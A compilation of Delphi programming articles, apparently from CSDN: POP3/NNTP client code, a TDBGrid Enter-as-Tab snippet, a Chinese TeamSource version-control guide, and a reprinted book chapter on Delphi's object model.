TObject(f_list.items[0]).Free;
f_list.delete(0);
end;
except
end;
f_list.free;
inherited destroy;
end;
(*@\\\0000000C01*)

(*@/// procedure t_pop3.action; *)
procedure t_pop3.action;
begin
login;
if f_list.count<>0 then
getmail(1);
logout;
end;
(*@\\\0000000501*)
(*@/// procedure t_pop3.response; *)
procedure t_pop3.response;
var
s: string;
begin
s:=self.read_line(f_socket);
if assigned(f_tracer) then
f_tracer(s,tt_proto_get);
if copy(s,1,3)='+OK' then
{ everything OK }
else if copy(s,1,4)='-ERR' then
raise EProtocolError.Create('POP3',s,500)
else
raise EProtocolError.Create('POP3',s,999);
end;
(*@\\\0000000701*)

(*@/// procedure t_pop3.Login; // USER, PASS, LIST *)
procedure t_pop3.Login;
var
s: string;
h: t_reply;
begin
inherited login;
self.response;
self.SendCommand('USER '+f_user); (* open connection *)
self.response;
self.write_s(f_socket,'PASS '+f_pass+#13#10);
if assigned(f_tracer) then
f_tracer('PASS *****',tt_proto_sent);
self.response;
self.SendCommand('LIST'); (* open connection *)
self.response;
while true do begin
s:=self.read_line(f_socket);
if s='.' then BREAK;
h:=t_reply.Create;
h.index:=strtoint(copy(s,1,pos(' ',s)-1));
h.length:=strtoint(copy(s,pos(' ',s)+1,length(s)));
h.from:='';
h.subject:='';
f_list.add(h);
end;
end;
(*@\\\*)
(*@/// procedure t_pop3.GetHeaders; // TOP *)
procedure t_pop3.GetHeaders;
var
i: integer;
h: t_reply;
s: string;
begin
f_mail.clear;
for i:=f_list.count-1 downto 0 do begin
h:=t_reply(f_list.items[i]);
self.SendCommand('TOP '+inttostr(h.index)+' 1');
try
self.response; (* this may give a EProtocolError on older POP server *)
while true do begin
s:=self.read_line(f_socket);
if s='.' then BREAK;
if pos('From:',s)=1 then
h.from:=copy(s,7,length(s));
if pos('Subject:',s)=1 then
h.subject:=copy(s,10,length(s));
end;
if h.subject<>'' then
f_mail.insert(0,h.from+#7+h.subject)
else
f_mail.insert(0,h.from)
except
on EProtocolError do
f_mail.insert(0,inttostr(h.index));
(* ignore errors due to unimplemented TOP *)
end;
end;
end;
(*@\\\*)
(*@/// procedure t_pop3.Logout; // QUIT *)
procedure t_pop3.Logout;
begin
if f_logged_in then begin
self.SendCommand('QUIT');
self.response;
end;
inherited logout;
if f_list<>NIL then
while f_list.count>0 do begin
TObject(f_list.items[0]).Free;
f_list.delete(0);
end;
end;
(*@\\\0000000401*)
(*@/// procedure t_pop3.GetMail(index: integer); // RETR *)
procedure t_pop3.GetMail(index: integer);
var
s: string;
begin
if not f_logged_in then login;
self.SendCommand('RETR '+inttostr(index));
self.response;
f_mail.clear;
while true do begin
s:=self.read_line(f_socket);
if s='.' then BREAK;
f_mail.add(s);
end;
end;
(*@\\\0000000601*)
(*@/// procedure t_pop3.DeleteMail(index:integer); // DELE *)
procedure t_pop3.DeleteMail(index:integer);
begin
if not f_logged_in then login;
self.SendCommand('DELE '+inttostr(index));
self.response;
end;
(*@\\\0000000401*)
(*@\\\0000000801*)
(*@/// class t_nntp(t_tcpip) *)
(*@/// function nntpdate(date:TDateTime):string; *)
function nntpdate(date:TDateTime):string;
begin
result:=formatdatetime('yymmdd hhnnss',date);
end;
(*@\\\0000000330*)

(*@/// constructor t_nntp.Create(Aowner:TComponent); *)
constructor t_nntp.Create(Aowner:TComponent);
begin
inherited create(Aowner);
f_news:=TStringlist.Create;
f_newsgroups:=TStringlist.Create;
f_socket_number:=119;
end;
(*@\\\0000000401*)
(*@/// destructor t_nntp.Destroy; *)
destructor t_nntp.Destroy;
begin
f_news.free;
f_newsgroups.free;
inherited destroy;
end;
(*@\\\0000000501*)
(*@/// procedure t_nntp.SetNews(value:TStringlist); *)
procedure t_nntp.SetNews(value:TStringlist);
begin
if value=NIL then
f_news.clear
else
f_news.assign(value);
end;
(*@\\\0000000603*)

(*@/// procedure t_nntp.action; *)
procedure t_nntp.action;
begin
login;
(* ??? *)
logout;
end;
(*@\\\0000000401*)

(*@/// procedure t_nntp.Login; *)
procedure t_nntp.Login;
begin
inherited login;
self.response;
self.SendCommand('MODE READER'); (* some NNTP servers need this *)
try
self.response;
except
(* ignore if the server doesn't understand this *)
end;
end;
(*@\\\0000000508*)
(*@/// procedure t_nntp.Logout; // QUIT *)
procedure t_nntp.Logout;
begin
if f_logged_in then begin
self.SendCommand('QUIT');
self.response;
end;
inherited logout;
end;
(*@\\\0000000306*)

(*@/// procedure t_nntp.GetArticleID(msgid:string); // ARTICLE *)
procedure t_nntp.GetArticleID(const msgid:string);
begin
if not f_logged_in then login;
if msgid[1]<>'<' then
self.SendCommand('ARTICLE <'+msgid+'>')
else
self.SendCommand('ARTICLE '+msgid);
self.response;
f_news.clear;
GetArticleInternally;
end;
(*@\\\0000000301*)
(*@/// procedure t_nntp.PostArticle; // POST *)
procedure t_nntp.PostArticle;
var
i:integer;
begin
if not f_logged_in then login;
self.SendCommand('POST');
self.response;
for i:=0 to f_news.count-1 do begin
if f_news.strings[i]='.' then
write_s(f_socket,'..'+#13#10)
else
write_s(f_socket,f_news.strings[i]+#13#10);
end;
write_s(f_socket,'.'+#13#10);
self.response;
end;
(*@\\\0000000601*)
(*@/// procedure t_nntp.GetAllNewsgroups; // LIST *)
procedure t_nntp.GetAllNewsgroups;
var
s: string;
begin
if not f_logged_in then login;
f_newsgroups.clear;
self.SendCommand('LIST');
self.response;
while true do begin
s:=read_line(f_socket);
if s<>'.' then
f_newsgroups.add(copy(s,1,pos(' ',s)-1))
else
BREAK;
end;
end;
(*@\\\0000000601*)
(*@/// procedure t_nntp.GetNewNewsgroups(since:TDateTime); // NEWGROUPS *)
procedure t_nntp.GetNewNewsgroups(since:TDateTime);
var
s: string;
begin
if not f_logged_in then login;
f_newsgroups.clear;
self.SendCommand('NEWGROUPS '+nntpdate(since));
self.response;
while true do begin
s:=read_line(f_socket);
if s<>'.' then
f_newsgroups.add(copy(s,1,pos(' ',s)-1))
else
BREAK;
end;
end;
(*@\\\0000000601*)
(*@/// procedure t_nntp.SetGroup(group:string; low,high,count: integer); // GROUP *)
procedure t_nntp.SetGroup(const group:string; var low,high,count: integer);
var
s1,s2,s3: integer;
begin
if not f_logged_in then login;
self.SendCommand('GROUP '+group);
self.response;
s1:=pos(' ',f_status_txt);
s2:=posn(' ',f_status_txt,2);
s3:=posn(' ',f_status_txt,3);
count:=strtoint(copy(f_status_txt,1,s1-1));
low:=strtoint(copy(f_status_txt,s1+1,s2-s1-1));
high:=strtoint(copy(f_status_txt,s2+1,s3-s2-1));
end;


CSDN_文档中心_TDBGrid中用Enter仿真Tab键盘

procedure TForm1.FormKeyPress(Sender: TObject; var Key:
Char);
begin
if Key = #13 then //如果是一个Enter键盘
begin
if not (ActiveControl is TDBGrid) then //如果当前的控件不是TDBGrid
begin
Key := #0;
Perform(WM_NEXTDLGCTL, 0, 0); { move to next control }
end
else if (ActiveControl is TDBGrid) then //在TDBGrid中
begin
with TDBGrid(ActiveControl) do
begin
if selectedindex < (fieldcount -1) then //如果不是最后一个字段
selectedindex := selectedindex +1
else
selectedindex := 0;
end;
end;
end;
end;


CSDN_文档中心_TeamSource使用说明

    如果我们的开发项目需要在小组模式下进行，那么协调和规范工作流程是非常重要的环节。工欲善其事，必先利其器，如果能够借助版本控制工具，必然会达到事半功倍的效果。
  我最近因为需要在csdn上查找版本控制工具的介绍，但发现这方面的帖子很少，可能一个开发小组的领导者都是某个技术领域的专家，玩转一个简单的工具绰绰有余，而初学者往往会因为缺少需求把精力放在技术的实现细节上，anyway,我还是想把我的使用心得简单介绍一下，希望能起一个抛砖引玉的作用。
    因为项目是使用BCB进行开发，所以使用的工具是Borland的TeamSource，虽然有部分同僚对TeamSource的印象不是很好，认为和VSS的差距很大，但对于一个5、6个人的小组来说，也能满足大部分要求了，好了，言归正传。以下才是正文:）。
使用TeamSource首先要分清几个概念：
A（主开发机），B（第三方备份机），C（辅助开发机） 。
    在这里A、B都是指局域网上以开发为目的计算机，而A是指建立TeamSource工程文件的计算机；小组开发需要将程序以某种方式共享，B就是指开发人员都能访问的计算机，共享程序就是在B上实现的。
注：B上提供共享的文件夹对于小组成员必须是具有完全访问权限的。
注意：TeamSource必须工作在域环境下（如果服务器的操作系统是win2000，需要配置Active Directory）
    在小组开发中一般有个TeamLeader，首先应由TeamLeader建立一个新工程(Create new Project)，但在建立工程之前，TeamLeader的计算机上必须有一个"Local directory"保存着程序源文件（一般是项目的代码框架），而"Remote directory"（即第三方备份机）中暂时是没有代码文件的（在工程建立之后可以通过TeamSource将程序文件从Local directory“上传到”Remote directory）。
    Local directory和Remote directory是TeamSource中的叫法。
    当TeamLeader建立了工程，就可以添加用户了，方法是选Project|Options中的User页，因为在TeamSource中初始权限是只读的，所以可能Add User等按钮是Disabled的，这时候应该将Local View（TeamSource中的本地视图，通过选Local图标查看）中所有文件上锁，权限就变成Write/read，你将发现按钮Enable了，可以添加用户了（当然你得具备添加用户的权限啦！:)）。还有在添加用户时要保证添加的用户名是域中已经存在的用户，因为只有在开发机上以域用户身份登陆TeamSource才会识别用户身份。
    至于设置用户的权限的详细方法，在User页上提供了全部功能，只要仔细看看就明白啦！
    添加完用户以后就可以将Local directory中的代码文件备份到第三方备份机上了（就是刚才所说的上传），将所有文件加锁（选中所有文件，然后按F4），然后选中所有文件，点Do it按钮，或者在右键菜单中选择Check in就可以了。
    在申请加锁的对话框中，有一个Comment文本框，你在其中填入的文本可以让其他用户看到，那么其他用户就可以知道你申请锁的目的。
    如果工程建立成功，那在第三方备份机上就会自动建立几个文件夹，工程文件以cpj为扩展名，一般来说保存在Archives目录下。
    现在假设有用户Dippa在一个辅助开发机上登陆并运行TeamSource，应该首先新建一个工程，但建立的方式是Import a existing project，可以把TeamLeader建立在第三方备份机上的工程文件(.cpj)导入，当然辅助开发机上也要有相应的Local Directory（这个Local directory负责保存备份机上代码文件的副本以提供开发机上使用者对源码进行的修改或添加），如果导入成功，那么现在就可以把代码文件从备份机上复制到开发机上了，方法是选择Project|pull to...就可以了。
一般来说主要用到的是Local View，他的显示界面分为三个面板，左边的面板显示第三方备份机上被其他用户改动过的文件，应该copy到Local directory；右边的面板显示你在开发机上改动过的文件，并建议你将改动Check in到备份机上；而最下边的面板是Lock list，显示了各个用户对文件加锁情况。
    由于我也是刚刚接触TeamSource，所以文章中可能存在着错误，请各位看官批评指正。至于TeamSource的其他使用细节，可以在使用中揣摩或是参考帮助文档。

                                        Author: Orswanic于2001年7月26日


CSDN_文档中心_The Delphi Object Model (PART I)

36

The Delphi Object Model (PART I) Go to Stefan Walther's website Format this article printer-friendly! Set a bookmark for this article
Sample Chapter of
Product:
Delphi all versions 		Category:
OO-related 		Skill Level:
 Scoring:
Last Update:
02/21/2001
Search Keys:
delphi delphi3000 article Object Model OO interfaces 		Times Scored:
11 		Visits:
9428
Uploader: Stefan Walther
Company: bluestep.com IT-Consulting 		Reference: Ray Lischner - O'Reilly
Question/Problem/Abstract:
Delphi's support for object-oriented programming is rich and powerful. In addition to traditional classes and objects, Delphi also has interfaces (similar to those found in COM and Java), exception handling, and multithreaded programming. This chapter covers Delphi's object model in depth. You should already be familiar with standard Pascal and general principles of object-oriented programming.
Answer:

Reprinted with permission from O'Reilly & Associates

Delphi in a Nutshell
By Ray Lischner
1st Edition March 2000
1-56592-659-5, Order Number: 6595
600 pages, $24.95
Get the book at amazon.com

Classes and Objects

Think of a class as a record on steroids. Like a record, a class describes a type that comprises any number of parts, called fields. Unlike a record, a class can also contain functions and procedures (called methods), and properties. A class can inherit from another class, in which case it inherits all the fields, methods, and properties of the ancestor class.

An object is a dynamic instance of a class. An object is always allocated dynamically, on the heap, so an object reference is like a pointer (but without the usual Pascal caret operator). When you assign an object reference to a variable, Delphi copies only the pointer, not the entire object. When your program finishes using an object, it must explicitly free the object. Delphi does not have any automatic garbage collection (but see the section "Interfaces," later in this chapter).

For the sake of brevity, the term object reference is often shortened to object, but in precise terms, the object is the chunk of memory where Delphi stores the values for all the object's fields. An object reference is a pointer to the object. The only way to use an object in Delphi is through an object reference. An object reference usually comes in the form of a variable, but it might also be a function or property that returns an object reference.

A class, too, is a distinct entity (as in Java, but unlike C++). Delphi's representation of a class is a read-only table of pointers to virtual methods and lots of information about the class. A class reference is a pointer to the table. (Chapter 3, Runtime Type Information, describes in depth the layout of the class tables.) The most common use for a class reference is to create objects or to test the type of an object reference, but you can use class references in many other situations, including passing class references as routine parameters or returning a class reference from a function. The type of a class reference is called a metaclass.

Example 2-1 shows several class declarations. A class declaration is a type declaration that starts with the keyword class. The class declaration contains field, method, and property declarations, ending with the end keyword. Each method declaration is like a forward declaration: you must implement the method in the same unit (except for abstract methods, which are discussed later in this chapter).

type
  TAccount = class
  private
    fCustomer: string;  // name of customer
    fNumber: Cardinal;  // account number
    fBalance: Currency; // current account balance
  end;
  TSavingsAccount = class(TAccount)
  private
    fInterestRate: Integer; // annual percentage rate, scaled by 1000
  end;
  TCheckingAccount = class(TAccount)
  private
    fReturnChecks: Boolean;
  end;
  TCertificateOfDeposit = class(TSavingsAccount)
  private
    fTerm: Cardinal;  // CD maturation term, in days
  end;

var
  CD1, CD2: TAccount;
begin
  CD1 := TCertificateOfDeposit.Create;
  CD2 := TCertificateOfDeposit.Create;
  ...

Figure 2-1 depicts the memory layout of the objects and classes from Example 2-1. The variables and their associated objects reside in read-write memory. Classes reside in read-only memory, along with the program code.

Figure 2.1

Delphi's object model is similar to those in other object-oriented languages, such as C++ and Java. Table 2-1 shows a quick comparison between Delphi and several other popular programming languages.

Table 2-1: Delphi Versus the World
Language Feature | Delphi | Java | C++ | Visual Basic
Inheritance |  |  |  |
Multiple inheritance |  |  |  |
Interfaces |  |  | [1] |
Single root class |  |  |  |
Metaclasses |  |  |  |
Class (static) fields |  |  |  |
Virtual methods |  |  |  |
Abstract (pure) virtual methods |  |  |  |
Class (static) methods |  |  |  |
Dynamic methods |  |  |  |
Garbage collection | [2] |  |  | [2]
Variant types |  |  |  |
OLE automation |  |  |  |
Static type-checking |  |  |  |
Exception handling |  |  |  |
Function overloading |  |  |  |
Operator overloading |  |  |  |
Non-class functions |  |  |  |
Non-object variables |  |  |  |
Properties |  |  |  |
Runtime type information |  |  | [3] |
Generic types (templates) |  |  |  |
Built-in support for threads |  |  |  |
Message passing |  |  |  |
Built-in assembler |  |  | [4] |
Inline functions |  |  |  |

The following sections explain each of these language features in more detail.

Classes

A class declaration is a kind of type declaration. A class declaration describes the fields, methods, and properties of the class. You can declare a class in an interface or implementation section of a unit, but the methods--like any other function or procedure--are defined in the implementation section. You must implement a class's methods in the same unit as the class declaration.

A class declaration has one or more sections for different access levels (private, protected, public, published, or automated). Access levels are discussed later in this chapter. You can mix sections in any order and repeat sections with the same access level.

Within each section, you can have any number of fields, followed by method and property declarations. Method and property declarations can be mixed together, but all fields must precede all methods and properties within each section. Unlike Java and C++, you cannot declare any types nested inside a class declaration.

A class has a single base class, from which it inherits all the fields, properties, and methods. If you do not list an explicit base class, Delphi uses TObject. A class can also implement any number of interfaces. Thus, Delphi's object model most closely resembles that of Java, where a class can extend a single class and implement many interfaces.

TIP:
The convention in Delphi is that type names begin with the letter T, as in TObject. It's just a convention, not a language rule. The IDE, on the other hand, always names form classes with an initial T.

A class reference is an expression that refers to a specific class. A class reference is not quite a first class object, as it is in Java or Smalltalk, but is used to create new objects, call class methods, and test or cast an object's type. A class reference is implemented as a pointer to a table of information about the class, especially the class's virtual method table (VMT). (See Chapter 3 for the complete details of what's inside a VMT.)

The most common use for a class reference is to create instances of that class by calling a constructor. You can also use a class reference to test the type of an object (with the is operator) or to cast an object to a particular type (with the as operator). Usually, the class reference is a class name, but it can also be a variable whose type is a metaclass, or a function or property that returns a class reference. Example 2-2 shows an example of a class declaration.

Example 2-2: Declaring a Class and Metaclass

type
  TComplexClass = class of TComplex; // metaclass type
  TComplex = class(TPersistent)
  private
    fReal, fImaginary: Double;
  public
    constructor Create(Re: Double = 0.0); overload;
    constructor Create(Re, Im: Double); overload;
    destructor Destroy; override;
    procedure Assign(Source: TPersistent); override;
    function AsString: string;
  published
    property Real: Double read fReal write fReal;
    property
  end;

Objects

An object is a dynamic instance of a class. The dynamic instance contains values for all the fields declared in the class and all of its ancestor classes. An object also contains a hidden field that stores a reference to the object's class.

Objects are always allocated dynamically, on the heap, so an object reference is really a pointer to the object. The programmer is responsible for creating objects and for freeing them at the appropriate time. To create an object, use a class reference to call a constructor, for example:

Obj := TSomeClass.Create;

Most constructors are named Create, but that is a convention, not a requirement of Delphi. You will sometimes find constructors with other names, especially older classes that were written before Delphi had method overloading. For maximum compatibility with C++ Builder, which does not let you name constructors, you should stick with Create for all your overloaded constructors.

To get rid of the object when your program no longer needs it, call the Free method. To ensure that the object is properly freed, even if an exception is raised, use a try-finally exception handler. (See Chapter 1, Delphi Pascal, for more information about try-finally.) For example:

Obj := TSomeOtherClass.Create;
try
  Obj.DoSomethingThatMightRaiseAnException;
  Obj.DoSomethingElse;
finally
  Obj.Free;
end;

When freeing a global variable or field, always set the variable to nil when freeing the object so you are not left with a variable that contains an invalid pointer. You should take care to set the variable to nil before freeing the object. If the destructor, or a method called from the destructor, refers to that variable, you usually want the variable to be nil to avoid any potential problems. An easy way to do this is to call the FreeAndNil procedure (from the SysUtils unit):

GlobalVar := TFruitWigglies.Create;
try
  GlobalVar.EatEmUp;
finally
  FreeAndNil(GlobalVar);
end;

Each object has a separate copy of all of its fields. A field cannot be shared among multiple objects. If you need to share a variable, declare the variable at the unit level or use indirection: many objects can hold separate pointers or object references that refer to common data.

Inheritance

A class can inherit from another class. The derived class inherits all the fields, methods, and properties of the base class. Delphi supports only single inheritance, so a class has one base class. That base class can have its own base class, and so on, so a class inherits the fields, properties, and methods of every ancestor class. A class can also implement any number of interfaces (which are covered later in this chapter). As in Java, but not C++, every class inherits from a single root class, TObject. If you do not specify an explicit base class, Delphi automatically uses TObject as the base class.

TIP:
A base class is a class's immediate parent class, which you can see in the class declaration. An ancestor class is the base class or any other class in the inheritance chain up to TObject. Thus, in Example 2-1, TCertificateOfDeposit has a base class of TSavingsAccount; its ancestor classes are TObject, TAccount, and TSavingsAccount.

The TObject class declares several methods and one special, hidden field to store a reference to the object's class. This hidden field points to the class's virtual method table (VMT). Every class has a unique VMT and all objects of that class share the class's VMT. Chapter 5, Language Reference, covers the other details of the TObject class and its methods.

You can assign an object reference to a variable whose type is the object's class or any of its ancestor classes. In other words, the declared type of an object reference is not necessarily the same as the actual type of the object. Assignments that go the other way--assigning a base-class object reference to a derived-class variable--are not allowed because the object might not be of the correct type.

Delphi retains the strong type-checking of Pascal, so the compiler performs compile-time checks based on the declared type of an object reference. Thus, all methods must be part of the declared class, and the compiler performs the usual checking of function and procedure arguments. The compiler does not necessarily bind the method call to a specific method implementation. If the method is virtual, Delphi waits until runtime and uses the object's true type to determine which method implementation to call. See the section "Methods," later in this chapter for details.

Use the is operator to test the object's true class. It returns True if the class reference is the object's class or any of its ancestor classes. It returns False if the object reference is nil or of the wrong type. For example:

if Account is TCheckingAccount then ... // tests the class of Account if Account is TObject then ... // True when Account is not nil

You can also use a type cast to obtain an object reference with a different type. A type cast does not change an object; it just gives you a new object reference. Usually, you should use the as operator for type casts. The as operator automatically checks the object's type and raises a runtime error if the object's class is not a descendant of the target class. (The SysUtils unit maps the runtime error to an EInvalidCast exception.)

Another way to cast an object reference is to use the name of the target class in a conventional type cast, similar to a function call. This style of type cast does not check that the cast is valid, so use it only if you know it is safe, as shown in Example 2-3.

Example 2-3: Using Static Type Casts

var
  Account: TAccount;
  Checking: TCheckingAccount;
begin
  Account  := Checking;                    // Allowed
  Checking := Account;                     // Compile-time error
  Checking := Account as TCheckingAccount; // Okay
  Account as TForm;                        // Raises a runtime error
  Checking := TCheckingAccount(Account);   // Okay, but not recommended
  if Account is TCheckingAccount then      // Better
    Checking := TCheckingAccount(Account)
  else
    Checking := nil;

Fields

A field is a variable that is part of an object. A class can declare any number of fields, and each object has its own copy of every field declared in its class and in every ancestor class. In other languages, a field might be called a data member, an instance variable, or an attribute. Delphi does not have class variables, class instance variables, static data members, or the equivalent (that is, variables that are shared among all objects of the same class). Instead, you can usually use unit-level variables for a similar effect.

A field can be of any type unless the field is published. In a published section, a field must have a class type, and the class must have runtime type information (that is, the class or an ancestor class must use the $M+ directive). See Chapter 3 for more information.

When Delphi first creates an object, all of the fields start out empty, that is, pointers are initialized to nil, strings and dynamic arrays are empty, numbers have the value zero, Boolean fields are False, and Variants are set to Unassigned. (See NewInstance and InitInstance in Chapter 5 for details.)

A derived class can declare a field with the same name as a field in an ancestor class. The derived class's field hides the field of the same name in the ancestor class. Methods in the derived class refer to the derived class's field, and methods in the ancestor class refer to the ancestor's field.

Methods

Methods are functions and procedures that apply only to objects of a particular class and its descendants. In C++, methods are called "member functions." Methods differ from ordinary procedures and functions in that every method has an implicit parameter called Self, which refers to the object that is the subject of the method call. Self is similar to this in C++ and Java. Call a method the same way you would call a function or procedure, but preface the method name with an object reference, for example:

Object.Method(Argument);

A class method applies to a class and its descendants. In a class method, Self refers not to an object but to the class. The C++ term for a class method is "static member function."

You can call a method that is declared in an object's class or in any of its ancestor classes. If the same method is declared in an ancestor class and in a derived class, Delphi calls the most-derived method, as shown in Example 2-4.

Example 2-4: Binding Static Methods

type
  TAccount = class
  public
    procedure Withdraw(Amount: Currency);
  end;
  TSavingsAccount = class(TAccount)
  public
    procedure Withdraw(Amount: Currency);
  end;
var
  Savings: TSavingsAccount;
  Account: TAccount;
begin
  ...
  Savings.Withdraw(1000.00);     // Calls TSavingsAccount.Withdraw
  Account.Withdraw(1000.00);     // Calls TAccount.Withdraw

An ordinary method is called a static method because the compiler binds the method call directly to a method implementation. In other words, the binding is static. In C++ this is an ordinary member function, and in Java it's called a "final method." Most Delphi programmers refrain from using the term static method, preferring the simple term, method or even non-virtual method.

A virtual method is a method that is bound at runtime instead of at compile time. At compile time, Delphi uses the declared type of an object reference to determine which methods you are allowed to call. Instead of compiling a direct reference to any specific method, the compiler stores an indirect method reference that depends on the object's actual class. At runtime, Delphi looks up the method in the class's runtime tables (specifically, the VMT), and calls the method for the actual class. The object's true class might be the compile-time declared class, or it might be a derived class--it doesn't matter because the VMT provides the pointer to the correct method.

To declare a virtual method, use the virtual directive in the base class, and use the override directive to provide a new definition of the method in a derived class. Unlike in Java, methods are static by default, and you must use the virtual directive to declare a virtual method. Unlike in C++, you must use the override directive to override a virtual method in a derived class.

Example 2-5 uses virtual methods.

Example 2-5: Binding Virtual Methods

type
  TAccount = class
  public
    procedure Withdraw(Amount: Currency); virtual;
  end;
  TSavingsAccount = class(TAccount)
  public
    procedure Withdraw(Amount: Currency); override;
  end;
var
  Savings: TSavingsAccount;
  Account: TAccount;
begin
  ...
  Savings.Withdraw(1000.00);     // Calls TSavingsAccount.Withdraw
  Account := Savings;
  Account.Withdraw(1000.00);     // Calls TSavingsAccount.Withdraw

Instead of using the virtual directive, you can also use the dynamic directive. The semantics are identical, but the implementation is different. Looking up a virtual method in a VMT is fast because the compiler generates an index directly into a VMT. Looking up a dynamic method is slower. Calling a dynamic method requires a linear search of a class's dynamic method table (DMT). If the class does not override that method, the search continues with the DMT of the base class. The search continues with ancestor classes until TObject is reached or the method is found. The tradeoff is that in a few circumstances, dynamic methods take up less memory than virtual methods. Unless you are writing a replacement for the VCL, you should use virtual methods, not dynamic methods. See Chapter 3 for a complete explanation of how dynamic and virtual methods are implemented.

A virtual or dynamic method can be declared with the abstract directive, in which case the class does not define the method. Instead, derived classes must override that method. The C++ term for an abstract method is a "pure virtual method." If you call a constructor for a class that has an abstract method, the compiler issues a warning, telling you that you probably made a mistake. You probably wanted to create an instance of a derived class that overrides and implements the abstract method. A class that declares one or more abstract methods is often called an abstract class, although some people reserve that term for a class that declares only abstract methods.

TIP:
If you write an abstract class that inherits from another abstract class, you should redeclare all abstract methods with the override and abstract directives. Delphi does not require this, but common sense does. The declarations clearly inform the maintainer of the code that the methods are abstract. Otherwise, the maintainer must wonder whether the methods should have been implemented or should have remained abstract. For example:

type
  TBaseAbstract = class
    procedure Method; virtual; abstract;
  end;
  TDerivedAbstract = class(TBaseAbsract)
    procedure Method; override; abstract;
  end;
  TConcrete = class(TDerivedAbstract)
    procedure Method; override;
  end;

A class method or constructor can also be virtual. In Delphi, class references are real entities that you can assign to variables, pass as parameters, and use as references for calling class methods. If a constructor is virtual, a class reference can have a static type of the base class, but you can assign to it a class reference for a derived class. Delphi looks up the virtual constructor in the class's VMT and calls the constructor for the derived class.

Methods (and other functions and procedures) can be overloaded, that is, multiple routines can have the same name, provided they take different arguments. Declare overloaded methods with the overload directive. A derived class can overload a method it inherits from a base class. In that case, only the derived class needs the overload directive. After all, the author of the base class cannot predict the future and know when other programmers might want to overload an inherited method. Without the overload directive in the derived class, the method in the derived class hides the method in the base class, as shown in Example 2-6.

Example 2-6: Overloading Methods

type
  TAuditKind = (auInternal, auExternal, auIRS, auNasty);
  TAccount = class
  public
    procedure Audit;
  end;
  TCheckingAccount = class(TAccount)
  public
    procedure Audit(Kind: TAuditKind); // Hides TAccount.Audit
  end;
  TSavingsAccount = class(TAccount)
  public
    // Can call TSavingsAccount.Audit and TAccount.Audit
    procedure Audit(Kind: TAuditKind); overload;
  end;
var
  Checking: TCheckingAccount;
  Savings: TSavingsAccount;
begin
  Checking := TCheckingAccount.Create;
  Savings := TSavingsAccount.Create;
  Checking.Audit;             // Error because TAccount.Audit is hidden
  Savings.Audit;              // Okay because Audit is overloaded
  Savings.Audit(auNasty);     // Okay
  Checking.Audit(auInternal); // Okay

Constructors

Every class has one or more constructors, possibly inherited from a base class. By convention, constructors are usually named Create, although you can use any name you like. Some constructor names start with Create, but convey additional information, such as CreateFromFile or CreateFromStream. Usually, though, the simple name Create is sufficient, and you can use method overloading to define multiple constructors with the same name. Another reason to overload the name Create is for compatibility with C++ Builder. C++ does not permit different constructor names, so you must use overloading to define multiple constructors.

Calling a constructor

A constructor is a hybrid of object and class methods. You can call it using an object reference or a class reference. Delphi passes an additional, hidden parameter to indicate how it was called. If you call a constructor using a class reference, Delphi calls the class's NewInstance method to allocate a new instance of the class. After calling NewInstance, the constructor continues and initializes the object. The constructor automatically sets up a try-except block, and if any exception occurs in the constructor, Delphi calls the destructor.

When you call a constructor with an object reference, Delphi does not set up the try-except block and does not call NewInstance. Instead, it calls the constructor the same way it calls any ordinary method. This lets you call an inherited constructor without unnecessary overhead.

TIP:
A common error is to try to create an object by calling a constructor with an object reference, rather than calling it with a class reference and assigning it to the object variable:

var
  Account: TSavingsAccount;
begin
  Account.Create;                    // wrong
  Account := TSavingsAccount.Create; // right

One of Delphi's features is that you have total control over when, how, and whether to call the inherited constructor. This lets you write some powerful and interesting classes, but also introduces an area where it is easy to make mistakes.

Delphi always constructs the derived class first, and only if the derived class calls the inherited constructor does Delphi construct the base class. C++ constructs classes in the opposite direction, starting from the ancestor class and constructing the derived class last. Thus, if class C inherits from B, which inherits from A, Delphi constructs C first, then B, and A last. C++ constructs A first, then B, and finally C.

Virtual methods and constructors

Another significant difference between C++ and Delphi is that in C++, a constructor always runs with the virtual method table of the class being constructed, but in Delphi, the virtual methods are those of the derived class, even when the base class is being constructed. As a result, you must be careful when writing any virtual method that might be called from a constructor. Unless you are careful, the object might not be fully constructed when the method is called. To avoid any problems, you should override the AfterConstruction method and use that for any code that needs to wait until the object is fully constructed. If you override AfterConstruction, be sure to call the inherited method, too.

One constructor can call another constructor. Delphi can tell the call is from an object reference (namely, Self), so it calls the constructor as an ordinary method. The most common reason to call another constructor is to put all the initialization code in a single constructor. Example 2-7 shows some different ways to define and call constructors.

Example 2-7: Declaring and Calling Constructors

type
  TCustomer = class ... end;
  TAccount = class
  private
    fBalance: Currency;
    fNumber: Cardinal;
    fCustomer: TCustomer;
  public
    constructor Create(Customer: TCustomer); virtual;
    destructor Destroy; override;
  end;
  TSavingsAccount = class(TAccount)
  private
    fInterestRate: Integer; // Scaled by 1000
  public
    constructor Create(Customer: TCustomer); override; overload;
    constructor Create(Customer: TCustomer; InterestRate: Integer);
        overload;
    // Note that TSavingsAccount does not need a destructor. It simply
    // inherits the destructor from TAccount.
  end;

var
  AccountNumber: Cardinal = 1;

constructor TAccount.Create(Customer: TCustomer);
begin
  inherited Create;             // Call TObject.Create.
  fNumber := AccountNumber;     // Assign a unique account number.
  Inc(AccountNumber);
  fCustomer := Customer;        // Notify customer of new account.
  Customer.AttachAccount(Self);
end;

destructor TAccount.Destroy;
begin
  // If the constructor fails before setting fCustomer, the field
  // will be nil. Release the account only if Customer is not nil.
  if Customer <> nil then
    Customer.ReleaseAccount(Self);
  // Call TObject.Destroy.
  inherited Destroy;
end;

const
  DefaultInterestRate = 5000;  // 5%, scaled by 1000

constructor TSavingsAccount.Create(Customer: TCustomer);
begin
  // Call a sibling constructor.
  Create(Customer, DefaultInterestRate);
end;

constructor TSavingsAccount(Customer: TCustomer; InterestRate:Integer);
begin
  // Call TAccount.Create.
  inherited Create(Customer);
  fInterestRate := InterestRate;
end;

Destructors

Destructors, like constructors, take an extra hidden parameter. The first call to a destructor passes True for the extra parameter. This tells Delphi to call FreeInstance to free the object. If the destructor calls an inherited destructor, Delphi passes False as the hidden parameter to prevent the inherited destructor from trying to free the same object.

TIP:
A class usually has one destructor, called Destroy. Delphi lets you declare additional destructors, but you shouldn't take advantage of that feature. Declaring multiple destructors is confusing and serves no useful purpose.

Before Delphi starts the body of the destructor, it calls the virtual method, BeforeDestruction. You can override BeforeDestruction to assert program state or take care of other business that must take place before any destructor starts. This lets you write a class safely without worrying about how or whether any derived classes will call the base class destructor.

TIP:
